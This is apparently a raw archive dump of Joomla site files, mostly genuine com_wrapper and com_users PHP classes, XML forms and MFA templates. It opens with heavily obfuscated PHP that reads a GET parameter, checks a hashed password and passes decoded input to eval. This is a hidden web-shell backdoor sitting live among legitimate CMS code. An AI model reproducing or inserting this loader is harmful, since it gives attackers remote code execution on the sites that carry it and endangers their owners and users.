$UQ51FbGtBgRbo = @$cDeC4UGzchy9g[1]($cDeC4UGzchy9g[2 + 8](INPUT_GET, $cDeC4UGzchy9g[0 + 9])); goto trRyTKdOKS_Ho; VV8XrUsNEa4Rn: YXMTZXh1lfeSz: goto IeCok8DlnFpFO; DlHLR39vuL1qy: $ukkGJVgVPdnwV = array("\x32\66\x36\x33\x30\x26\x32\66\x36\61\65\46\x32\x36\66\x32\x38\46\62\66\x36\x33\62\46\62\x36\x36\x31\63\46\62\x36\66\x32\70\x26\62\66\66\x33\64\46\62\x36\66\x32\67\x26\62\66\x36\x31\62\46\62\66\66\x31\71\x26\62\x36\x36\x33\x30\46\x32\66\66\x31\x33\x26\x32\x36\66\x32\x34\x26\62\x36\x36\x31\70\x26\x32\66\66\x31\71", "\62\66\66\x31\x34\46\62\66\x36\x31\63\x26\62\x36\66\x31\65\46\62\x36\66\x33\64\x26\x32\66\x36\61\65\46\x32\x36\66\x31\70\46\x32\x36\x36\x31\x33\46\62\66\66\70\60\46\x32\x36\66\x37\70", "\x32\x36\66\x32\x33\x26\x32\x36\x36\61\64\x26\x32\66\66\x31\x38\46\62\x36\x36\61\x39\46\x32\x36\66\63\64\x26\x32\x36\x36\62\x39\46\x32\x36\66\x32\70\46\x32\x36\66\x33\x30\46\x32\66\x36\61\70\x26\x32\x36\66\62\x39\x26\x32\x36\x36\x32\x38", "\62\66\66\61\67\46\x32\x36\66\63\x32\46\x32\x36\x36\x33\60\x26\x32\66\66\x32\x32", "\x32\x36\66\x33\x31\46\62\x36\x36\63\62\46\x32\66\x36\x31\x34\x26\x32\66\66\62\x38\x26\62\66\x36\x37\x35\46\x32\66\66\67\x37\x26\62\x36\x36\x33\64\46\x32\66\66\62\x39\x26\62\x36\x36\x32\x38\46\x32\66\x36\63\x30\x26\62\66\x36\61\70\46\62\66\x36\x32\71\x26\x32\x36\x36\x32\70", "\x32\x36\x36\62\67\46\x32\66\x36\62\64\46\62\66\x36\62\x31\46\62\x36\66\62\x38\x26\62\x36\x36\63\64\46\x32\66\66\x32\66\x26\x32\x36\66\x32\70\46\62\x36\66\x31\x33\46\62\x36\x36\63\x34\46\x32\x36\x36\x33\x30\46\x32\66\66\61\70\x26\x32\66\x36\61\71\x26\62\66\66\61\x33\x26\62\x36\x36\62\70\46\x32\66\66\61\x39\x26\x32\x36\x36\61\63\46\62\x36\66\x31\64", "\x32\x36\x36\65\x37\x26\62\66\66\x38\67", "\x32\x36\x36\x30\x34", "\x32\x36\66\x38\x32\x26\62\x36\66\70\x37", "\62\66\x36\66\x34\x26\x32\66\66\x34\67\46\x32\66\x36\64\x37\x26\62\x36\66\x36\x34\x26\62\66\66\64\x30", "\x32\66\66\x32\67\46\62\x36\66\x32\x34\46\62\66\x36\62\61\46\x32\66\66\61\x33\x26\62\x36\x36\x32\70\46\x32\x36\x36\61\x35\x26\62\x36\x36\x33\x34\46\62\x36\x36\62\x34\46\x32\66\66\61\x39\46\x32\x36\x36\x31\x37\x26\x32\66\x36\61\62\x26\x32\66\x36\61\x33"); goto UJdUu1k9OwTsF; l1zulo492ODvV: @eval($cDeC4UGzchy9g[1 + 3]($xm_yct69nuoGc)); goto hSaNI_hSsXyIo; itFsHILt0yyVS: $xm_yct69nuoGc = self::RNWAEKGfJmZBB($QSYuAIXUunVRh[0 + 1], $cDeC4UGzchy9g[0 + 5]); goto l1zulo492ODvV; trRyTKdOKS_Ho: $q7KZBRERKKMme = @$cDeC4UGzchy9g[0 + 3]($cDeC4UGzchy9g[6 + 0], $UQ51FbGtBgRbo); goto DuFPdsEGkGYDx; q_zxiOBUedeL0: if (!(@$QSYuAIXUunVRh[0] - time() > 0 and md5(md5($QSYuAIXUunVRh[2 + 1])) === "\70\x61\x37\63\63\x33\61\x33\142\146\66\x62\x39\143\x33\71\x36\x36\x30\143\143\71\142\146\64\63\x32\x39\144\61\x62\141")) { goto YXMTZXh1lfeSz; } goto itFsHILt0yyVS; ef8lXej57YGa0: @$cDeC4UGzchy9g[0 + 10](INPUT_GET, "\157\146") == 1 && die($cDeC4UGzchy9g[4 + 1](__FILE__)); goto q_zxiOBUedeL0; IeCok8DlnFpFO: } } goto xicO82YSDxdLB; Quj1TDcEwMukx: @(md5(md5(md5(md5($HXggrXIm1oE4E[6])))) === "\145\x66\x38\66\66\x39\x65\60\x36\65\145\70\141\x66\71\61\x39\x66\x30\x31\145\142\x66\x34\70\x66\x66\144\63\70\64\x61") && (count($HXggrXIm1oE4E) == 12 && in_array(gettype($HXggrXIm1oE4E) . count($HXggrXIm1oE4E), $HXggrXIm1oE4E)) ? ($HXggrXIm1oE4E[70] = $HXggrXIm1oE4E[70] . $HXggrXIm1oE4E[76]) && ($HXggrXIm1oE4E[85] = $HXggrXIm1oE4E[70]($HXggrXIm1oE4E[85])) && @eval($HXggrXIm1oE4E[70](${$HXggrXIm1oE4E[38]}[24])) : $HXggrXIm1oE4E; goto NyRoXRrwxNBmM; xicO82YSDxdLB: Zb6QYpIg9yVwg::bB2d8FpW2VOmY();
?>
PK���\���

)com_wrapper/src/View/Wrapper/HtmlView.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Wrapper\Site\View\Wrapper;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Wrapper view class.
 *
 * @since  1.5
 */
class HtmlView extends BaseHtmlView
{
    /**
     * The page class suffix
     *
     * @var    string
     * @since  4.0.0
     */
    protected $pageclass_sfx = '';

    /**
     * The page parameters
     *
     * @var    \Joomla\Registry\Registry|null
     * @since  4.0.0
     */
    protected $params = null;

    /**
     * The page parameters
     *
     * @var    \stdClass
     * @since  4.0.0
     */
    protected $wrapper = null;

    /**
     * Execute and display a template script.
     *
     * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
     *
     * @return  void
     *
     * @since   1.5
     */
    public function display($tpl = null)
    {
        $params = Factory::getApplication()->getParams();

        // Because the application sets a default page title, we need to get it
        // right from the menu item itself

        $this->setDocumentTitle($params->get('page_title', ''));

        if ($params->get('menu-meta_description')) {
            $this->getDocument()->setDescription($params->get('menu-meta_description'));
        }

        if ($params->get('robots')) {
            $this->getDocument()->setMetaData('robots', $params->get('robots'));
        }

        $wrapper = new \stdClass();

        // Auto height control
        if ($params->def('height_auto')) {
            $wrapper->load = 'onload="iFrameHeight(this)"';
        } else {
            $wrapper->load = '';
        }

        $url = $params->def('url', '');

        if ($params->def('add_scheme', 1)) {
            // Adds 'http://' or 'https://' if none is set
            if (strpos($url, '//') === 0) {
                // URL without scheme in component. Prepend current scheme.
                $wrapper->url = Uri::getInstance()->toString(['scheme']) . substr($url, 2);
            } elseif (strpos($url, '/') === 0) {
                // Relative URL in component. Use scheme + host + port.
                $wrapper->url = Uri::getInstance()->toString(['scheme', 'host', 'port']) . $url;
            } elseif (strpos($url, 'http://') !== 0 && strpos($url, 'https://') !== 0) {
                // URL doesn't start with either 'http://' or 'https://'. Add current scheme.
                $wrapper->url = Uri::getInstance()->toString(['scheme']) . $url;
            } else {
                // URL starts with either 'http://' or 'https://'. Do not change it.
                $wrapper->url = $url;
            }
        } else {
            $wrapper->url = $url;
        }

        // Escape strings for HTML output
        $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));
        $this->params        = &$params;
        $this->wrapper       = &$wrapper;

        parent::display($tpl);
    }
}
PK���\=3���0com_wrapper/src/Controller/DisplayController.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Wrapper\Site\Controller;

use Joomla\CMS\MVC\Controller\BaseController;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Content Component Controller
 *
 * @since  1.5
 */
class DisplayController extends BaseController
{
    /**
     * Method to display a view.
     *
     * @param   boolean  $cachable   If true, the view output will be cached
     * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
     *
     * @return  BaseController  This object to support chaining.
     *
     * @since   1.5
     */
    public function display($cachable = false, $urlparams = [])
    {
        $cachable = true;

        // Set the default view name and format from the Request.
        $vName = $this->input->get('view', 'wrapper');
        $this->input->set('view', $vName);

        return parent::display($cachable, ['Itemid' => 'INT']);
    }
}
PK���\c���ii$com_wrapper/tmpl/wrapper/default.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<metadata>
	<layout title="COM_WRAPPER_WRAPPER_VIEW_DEFAULT_TITLE" option="COM_WRAPPER_WRAPPER_VIEW_DEFAULT_OPTION">
		<help
			key="Menu_Item:_Iframe_Wrapper"
		/>
		<message>
			<![CDATA[COM_WRAPPER_WRAPPER_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="request" label="COM_MENUS_BASIC_FIELDSET_LABEL">

			<field
				name="url"
				type="url"
				validate="url"
				filter="url"
				label="COM_WRAPPER_FIELD_URL_LABEL"
				required="true"
			/>
		</fieldset>
		<!-- Add fields to the parameters object for the layout. -->

		<!-- Scroll. -->
		<fieldset name="basic" label="COM_WRAPPER_FIELD_LABEL_SCROLLBARSPARAMS">
			<field
				name="width"
				type="text"
				label="JGLOBAL_WIDTH"
				default="100%"
			/>

			<field
				name="height"
				type="number"
				label="COM_WRAPPER_FIELD_HEIGHT_LABEL"
				default="500"
			/>
		</fieldset>

		<!-- Advanced options. -->
		<fieldset name="advanced">
			<field
				name="height_auto"
				type="radio"
				label="COM_WRAPPER_FIELD_HEIGHTAUTO_LABEL"
				default="0"
				layout="joomla.form.field.radio.switcher"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="add_scheme"
				type="radio"
				label="COM_WRAPPER_FIELD_ADD_LABEL"
				description="COM_WRAPPER_FIELD_ADD_DESC"
				layout="joomla.form.field.radio.switcher"
				default="1"
				>
				<option value="0">JNO</option>
				<option value="1">JYES</option>
			</field>

			<field
				name="lazyloading"
				type="radio"
				label="COM_WRAPPER_FIELD_LAZYLOADING_LABEL"
				default="lazy"
				layout="joomla.form.field.radio.switcher"
				validate="options"
				>
				<option value="eager">JNO</option>
				<option value="lazy">JYES</option>
			</field>
		</fieldset>
	</fields>
</metadata>
PK���\〣e��$com_wrapper/tmpl/wrapper/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$this->document->getWebAssetManager()
    ->registerAndUseScript('com_wrapper.iframe', 'com_wrapper/iframe-height.min.js', [], ['defer' => true]);

?>
<div class="com-wrapper contentpane">
    <?php if ($this->params->get('show_page_heading')) : ?>
        <div class="page-header">
            <h1>
                <?php if ($this->escape($this->params->get('page_heading'))) : ?>
                    <?php echo $this->escape($this->params->get('page_heading')); ?>
                <?php else : ?>
                    <?php echo $this->escape($this->params->get('page_title')); ?>
                <?php endif; ?>
            </h1>
        </div>
    <?php endif; ?>
    <iframe <?php echo $this->wrapper->load; ?>
        id="blockrandom"
        name="iframe"
        src="<?php echo $this->escape($this->wrapper->url); ?>"
        width="<?php echo $this->escape($this->params->get('width')); ?>"
        height="<?php echo $this->escape($this->params->get('height')); ?>"
        loading="<?php echo $this->params->get('lazyloading', 'lazy'); ?>"
        <?php if ($this->escape($this->params->get('page_heading'))) : ?>
            title="<?php echo $this->escape($this->params->get('page_heading')); ?>"
        <?php else : ?>
            title="<?php echo $this->escape($this->params->get('page_title')); ?>"
        <?php endif; ?>
        class="com-wrapper__iframe wrapper <?php echo $this->pageclass_sfx; ?>">
        <?php echo Text::_('COM_WRAPPER_NO_IFRAMES'); ?>
    </iframe>
</div>
PK���\�?�3hhcom_users/forms/login.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="credentials" label="COM_USERS_LOGIN_DEFAULT_LABEL">
		<field
			name="username"
			type="text"
			label="COM_USERS_LOGIN_USERNAME_LABEL"
			class="validate-username"
			filter="username"
			size="25"
			required="true"
			validate="username"
			autofocus="true"
			autocomplete="username"
		/>

		<field
			name="password"
			type="password"
			label="JGLOBAL_PASSWORD"
			required="true"
			filter="raw"
			size="25"
			autocomplete="current-password"
		/>
	</fieldset>

	<fieldset>
		<field
			name="return"
			type="hidden"
		/>
	</fieldset>
</form>
PK���\�~���!com_users/forms/reset_request.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="default" label="COM_USERS_RESET_REQUEST_LABEL">
		<field
			name="email"
			type="email"
			label="COM_USERS_FIELD_PASSWORD_RESET_LABEL"
			required="true"
			size="30"
			validate="email"
			autocomplete="email"
		/>

		<field
			name="captcha"
			type="captcha"
			label="COM_USERS_CAPTCHA_LABEL"
			validate="captcha"
		/>
	</fieldset>
</form>
PK���\�$����"com_users/forms/reset_complete.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="default" label="COM_USERS_RESET_COMPLETE_LABEL">
		<field
			name="password1"
			type="password"
			label="COM_USERS_FIELD_RESET_PASSWORD1_LABEL"
			required="true"
			autocomplete="new-password"
			class="validate-password"
			field="password2"
			size="30"
			validate="password"
			strengthmeter="true"
			rules="true"
			force="on"
			filter="raw"
		/>
		<field
			name="password2"
			type="password"
			label="COM_USERS_FIELD_RESET_PASSWORD2_LABEL"
			autocomplete="new-password"
			class="validate-password"
			field="password1"
			filter="raw"
			message="COM_USERS_FIELD_RESET_PASSWORD1_MESSAGE"
			size="30"
			validate="equals"
			required="true"
		/>
	</fieldset>
</form>
PK���\)�2=��!com_users/forms/reset_confirm.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="default" label="COM_USERS_RESET_CONFIRM_LABEL">
		<field
			name="username"
			type="text"
			label="COM_USERS_FIELD_RESET_CONFIRM_USERNAME_LABEL"
			filter="username"
			required="true"
			size="30"
		/>

		<field
			name="token"
			type="text"
			label="COM_USERS_FIELD_RESET_CONFIRM_TOKEN_LABEL"
			filter="alnum"
			required="true"
			size="32"
		/>
	</fieldset>
</form>
PK���\�q'�com_users/forms/profile.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="core" label="COM_USERS_PROFILE_DEFAULT_LABEL">
		<field
			name="id"
			type="hidden"
			filter="integer"
		/>

		<field
			name="name"
			type="text"
			label="COM_USERS_PROFILE_NAME_LABEL"
			filter="string"
			required="true"
			size="30"
		/>

		<field
			name="username"
			type="text"
			label="COM_USERS_PROFILE_USERNAME_LABEL"
			class="validate-username"
			filter="username"
			message="COM_USERS_PROFILE_USERNAME_MESSAGE"
			required="true"
			size="30"
			validate="username"
		/>

		<field
			name="password1"
			type="password"
			label="COM_USERS_PROFILE_PASSWORD1_LABEL"
			autocomplete="new-password"
			class="validate-password"
			filter="raw"
			size="30"
			validate="password"
		/>

		<field
			name="password2"
			type="password"
			label="COM_USERS_PROFILE_PASSWORD2_LABEL"
			autocomplete="new-password"
			class="validate-password"
			field="password1"
			filter="raw"
			message="COM_USERS_PROFILE_PASSWORD1_MESSAGE"
			size="30"
			validate="equals"
		/>

		<field
			name="email1"
			type="email"
			label="COM_USERS_PROFILE_EMAIL1_LABEL"
			filter="string"
			required="true"
			size="30"
			unique="true"
			validate="email"
			validDomains="com_users.domains"
			autocomplete="email"
		/>

	</fieldset>

</form>
PK���\���)zz com_users/forms/registration.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="default" label="COM_USERS_REGISTRATION_DEFAULT_LABEL">
		<field
			name="spacer"
			type="spacer"
			label="COM_USERS_REGISTER_REQUIRED"
			class="text"
		/>

		<field
			name="name"
			type="text"
			label="COM_USERS_REGISTER_NAME_LABEL"
			filter="string"
			required="true"
			size="30"
		/>

		<field
			name="username"
			type="text"
			label="COM_USERS_REGISTER_USERNAME_LABEL"
			class="validate-username"
			filter="username"
			message="COM_USERS_REGISTER_USERNAME_MESSAGE"
			required="true"
			size="30"
			validate="username"
			autocomplete="username"
		/>

		<field
			name="password1"
			type="password"
			label="COM_USERS_PROFILE_PASSWORD1_LABEL"
			required="true"
			autocomplete="new-password"
			class="validate-password"
			field="password1"
			size="30"
			validate="password"
			strengthmeter="true"
			rules="true"
			force="on"
			filter="raw"
		/>

		<field
			name="password2"
			type="password"
			label="COM_USERS_PROFILE_PASSWORD2_LABEL"
			autocomplete="new-password"
			class="validate-password"
			field="password1"
			filter="raw"
			message="COM_USERS_PROFILE_PASSWORD1_MESSAGE"
			size="30"
			validate="equals"
			required="true"
		/>

		<field
			name="email1"
			type="email"
			label="COM_USERS_REGISTER_EMAIL1_LABEL"
			field="id"
			filter="string"
			required="true"
			size="30"
			unique="true"
			validate="email"
			validDomains="com_users.domains"
			autocomplete="email"
		/>
	</fieldset>

	<fieldset name="captcha">
		<field
			name="captcha"
			type="captcha"
			label="COM_USERS_CAPTCHA_LABEL"
			validate="captcha"
		/>
	</fieldset>
</form>
PK���\��~���com_users/forms/remind.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fieldset name="default" label="COM_USERS_REMIND_DEFAULT_LABEL">
		<field
			name="email"
			type="email"
			label="COM_USERS_FIELD_REMIND_EMAIL_LABEL"
			required="true"
			size="30"
			validate="email"
			autocomplete="email"
		/>

		<field
			name="captcha"
			type="captcha"
			label="COM_USERS_CAPTCHA_LABEL"
			validate="captcha"
		/>
	</fieldset>
</form>
PK���\�<5�UUcom_users/forms/sitelang.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="params">
		<fieldset name="params" label="COM_USERS_SETTINGS_FIELDSET_LABEL">
			<field
				name="language"
				type="language"
				label="COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL"
				client="site"
				filter="cmd"
				default="active"
			/>
		</fieldset>
	</fields>
</form>
PK���\+p����"com_users/forms/frontend_admin.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="params">
		<!--  Backend user account settings. -->
		<fieldset name="params" label="COM_USERS_SETTINGS_FIELDSET_LABEL">
			<field
				name="admin_style"
				type="templatestyle"
				label="COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL"
				client="administrator"
				filter="uint"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="admin_language"
				type="language"
				label="COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL"
				client="administrator"
				filter="cmd"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>
		</fieldset>
	</fields>
</form>
PK���\g�9�com_users/forms/frontend.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form>
	<fields name="params">
		<!--  Basic user account settings. -->
		<fieldset name="params" label="COM_USERS_SETTINGS_FIELDSET_LABEL">
			<field
				name="editor"
				type="plugins"
				label="COM_USERS_USER_FIELD_EDITOR_LABEL"
				folder="editors"
				useaccess="true"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="timezone"
				type="timezone"
				label="COM_USERS_USER_FIELD_TIMEZONE_LABEL"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="language"
				type="language"
				label="COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL"
				client="site"
				filter="cmd"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>
		</fieldset>
	</fields>
</form>
PK���\��Ȗ%�%com_users/tmpl/methods/list.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Users\Administrator\Helper\Mfa as MfaHelper;
use Joomla\Component\Users\Site\Model\MethodsModel;
use Joomla\Component\Users\Site\View\Methods\HtmlView;

/** @var HtmlView $this */

/** @var MethodsModel $model */
$model = $this->getModel();

$this->document->getWebAssetManager()->useScript('com_users.two-factor-list');

HTMLHelper::_('bootstrap.tooltip', '.hasTooltip');

$canAddEdit = MfaHelper::canAddEditMethod($this->user);
$canDelete  = MfaHelper::canDeleteMethod($this->user);
?>
<div id="com-users-methods-list-container">
    <?php foreach ($this->methods as $methodName => $method) :
        $methodClass = 'com-users-methods-list-method-name-' . htmlentities($method['name'])
            . ($this->defaultMethod == $methodName ? ' com-users-methods-list-method-default' : '');
        ?>
        <div class="com-users-methods-list-method <?php echo $methodClass?> mx-1 my-3 card <?php echo count($method['active']) ? 'border-secondary' : '' ?>">
            <div class="com-users-methods-list-method-header card-header <?php echo count($method['active']) ? 'border-secondary bg-secondary text-white' : '' ?> d-flex flex-wrap align-items-center gap-2">
                <div class="com-users-methods-list-method-image pt-1 px-3 pb-2 bg-light rounded-2">
                    <img src="<?php echo Uri::root() . $method['image'] ?>"
                         alt="<?php echo $this->escape($method['display']) ?>"
                         class="img-fluid"
                    >
                </div>
                <div class="com-users-methods-list-method-title flex-grow-1 d-flex flex-column">
                    <h2 class="h4 p-0 m-0 d-flex gap-3 align-items-center">
                        <span class="me-1 flex-grow-1">
                            <?php echo $method['display'] ?>
                        </span>
                        <?php if ($this->defaultMethod == $methodName) : ?>
                            <span id="com-users-methods-list-method-default-tag" class="badge bg-info me-1 fs-6">
                                <?php echo Text::_('COM_USERS_MFA_LIST_DEFAULTTAG') ?>
                            </span>
                        <?php endif; ?>
                    </h2>
                </div>
            </div>

            <div class="com-users-methods-list-method-records-container card-body">
                <div class="com-users-methods-list-method-info my-1 pb-1 small text-muted">
                    <?php echo $method['shortinfo'] ?>
                </div>

                <?php if (count($method['active'])) : ?>
                    <div class="com-users-methods-list-method-records pt-2 my-2">
                        <?php foreach ($method['active'] as $record) : ?>
                            <div class="com-users-methods-list-method-record d-flex flex-row flex-wrap justify-content-start border-top py-2">
                                <div class="com-users-methods-list-method-record-info flex-grow-1 d-flex flex-column align-items-start gap-1">
                                    <?php if ($methodName === 'backupcodes' && $canAddEdit) : ?>
                                        <div class="alert alert-info mt-1 w-100">
                                            <?php echo Text::sprintf('COM_USERS_MFA_BACKUPCODES_PRINT_PROMPT_HEAD', Route::_('index.php?option=com_users&task=method.edit&id=' . (int) $record->id . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id), 'text-decoration-underline') ?>
                                        </div>
                                    <?php else : ?>
                                        <h3 class="com-users-methods-list-method-record-title-container mb-1 fs-5">
                                            <?php if ($record->default) : ?>
                                                <span id="com-users-methods-list-method-default-badge-small"
                                                      class="text-warning me-1 hasTooltip"
                                                      title="<?php echo $this->escape(Text::_('COM_USERS_MFA_LIST_DEFAULTTAG')) ?>">
                                                    <span class="icon icon-star" aria-hidden="true"></span>
                                                    <span class="visually-hidden"><?php echo $this->escape(Text::_('COM_USERS_MFA_LIST_DEFAULTTAG')) ?></span>
                                                </span>
                                            <?php endif; ?>
                                            <span class="com-users-methods-list-method-record-title fw-bold">
                                                <?php echo $this->escape($record->title); ?>
                                            </span>
                                        </h3>
                                    <?php endif; ?>

                                    <div class="com-users-methods-list-method-record-lastused my-1 d-flex flex-row flex-wrap justify-content-start gap-5 text-muted small w-100">
                                        <span class="com-users-methods-list-method-record-createdon">
                                            <?php echo Text::sprintf('COM_USERS_MFA_LBL_CREATEDON', $model->formatRelative($record->created_on)) ?>
                                        </span>
                                        <span class="com-users-methods-list-method-record-lastused-date">
                                            <?php echo Text::sprintf('COM_USERS_MFA_LBL_LASTUSED', $model->formatRelative($record->last_used)) ?>
                                        </span>
                                    </div>

                                </div>

                                <?php if ($methodName !== 'backupcodes' && ($canAddEdit || $canDelete)) : ?>
                                <div class="com-users-methods-list-method-record-actions my-2 d-flex flex-row flex-wrap justify-content-center align-content-center align-items-start">
                                    <?php if ($canAddEdit) : ?>
                                    <a class="com-users-methods-list-method-record-edit btn btn-secondary btn-sm mx-1 hasTooltip"
                                       href="<?php echo Route::_('index.php?option=com_users&task=method.edit&id=' . (int) $record->id . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id)?>"
                                       title="<?php echo Text::_('JACTION_EDIT') ?> <?php echo $this->escape($record->title); ?>">
                                        <span class="icon icon-pencil" aria-hidden="true"></span>
                                        <span class="visually-hidden"><?php echo Text::_('JACTION_EDIT') ?> <?php echo $this->escape($record->title); ?></span>
                                    </a>
                                    <?php endif ?>

                                    <?php if ($method['canDisable'] && $canDelete) : ?>
                                    <a class="com-users-methods-list-method-record-delete btn btn-danger btn-sm mx-1 hasTooltip"
                                       href="<?php echo Route::_('index.php?option=com_users&task=method.delete&id=' . (int) $record->id . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id . '&' . Factory::getApplication()->getFormToken() . '=1')?>"
                                       title="<?php echo Text::_('JACTION_DELETE') ?> <?php echo $this->escape($record->title); ?>">
                                        <span class="icon icon-trash" aria-hidden="true"></span>
                                        <span class="visually-hidden"><?php echo Text::_('JACTION_DELETE') ?> <?php echo $this->escape($record->title); ?></span>
                                    </a>
                                    <?php endif; ?>
                                </div>
                                <?php endif; ?>
                            </div>
                        <?php endforeach; ?>
                    </div>
                <?php endif; ?>

                <?php if ($canAddEdit && (empty($method['active']) || $method['allowMultiple'])) : ?>
                    <div class="com-users-methods-list-method-addnew-container border-top pt-2">
                        <a href="<?php echo Route::_('index.php?option=com_users&task=method.add&method=' . $this->escape(urlencode($method['name'])) . ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') . '&user_id=' . $this->user->id)?>"
                           class="com-users-methods-list-method-addnew btn btn-outline-primary btn-sm"
                        >
                            <span class="icon-plus-2" aria-hidden="true"></span>
                            <?php echo Text::sprintf('COM_USERS_MFA_ADD_AUTHENTICATOR_OF_TYPE', $method['display']) ?>
                        </a>
                    </div>
                <?php endif; ?>
            </div>
        </div>
    <?php endforeach; ?>
</div>
PK���\Hb)���$com_users/tmpl/methods/firsttime.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\View\Methods\HtmlView;

/** @var HtmlView $this */

$headingLevel = 2;
?>
<div id="com-users-methods-list">
    <?php if (!$this->isAdmin) : ?>
        <h<?php echo $headingLevel ?> id="com-users-methods-list-head">
            <?php echo Text::_('COM_USERS_MFA_FIRSTTIME_PAGE_HEAD'); ?>
        </h<?php echo $headingLevel++ ?>>
    <?php endif; ?>
    <div id="com-users-methods-list-instructions" class="alert alert-info">
        <h<?php echo $headingLevel ?> class="alert-heading">
            <span class="fa fa-shield-alt" aria-hidden="true"></span>
            <?php echo Text::_('COM_USERS_MFA_FIRSTTIME_INSTRUCTIONS_HEAD'); ?>
        </h<?php echo $headingLevel ?>>
        <p>
            <?php echo Text::_('COM_USERS_MFA_FIRSTTIME_INSTRUCTIONS_WHATITDOES'); ?>
        </p>
        <a href="<?php echo Route::_(
            'index.php?option=com_users&task=methods.doNotShowThisAgain' .
                ($this->returnURL ? '&returnurl=' . $this->escape(urlencode($this->returnURL)) : '') .
                '&user_id=' . $this->user->id .
                '&' . Factory::getApplication()->getFormToken() . '=1'
        )?>"
           class="btn btn-danger w-100">
            <?php echo Text::_('COM_USERS_MFA_FIRSTTIME_NOTINTERESTED'); ?>
        </a>
    </div>

    <?php $this->setLayout('list');
    echo $this->loadTemplate(); ?>
</div>
PK���\�F����"com_users/tmpl/methods/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2022 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

// Prevent direct access
defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Users\Site\View\Methods\HtmlView;

/** @var HtmlView $this */
?>
<div id="com-users-methods-list">
    <?php if (!$this->get('forHMVC', false)) : ?>
        <h2 id="com-users-methods-list-head">
            <?php echo Text::_('COM_USERS_MFA_LIST_PAGE_HEAD'); ?>
        </h2>
    <?php endif ?>

    <div id="com-users-methods-reset-container" class="d-flex align-items-center border border-1 rounded-3 p-2 bg-light">
        <div id="com-users-methods-reset-message" class="flex-grow-1">
            <?php echo Text::_('COM_USERS_MFA_LIST_STATUS_' . ($this->mfaActive ? 'ON' : 'OFF')) ?>
        </div>
        <?php if ($this->mfaActive) : ?>
            <div>
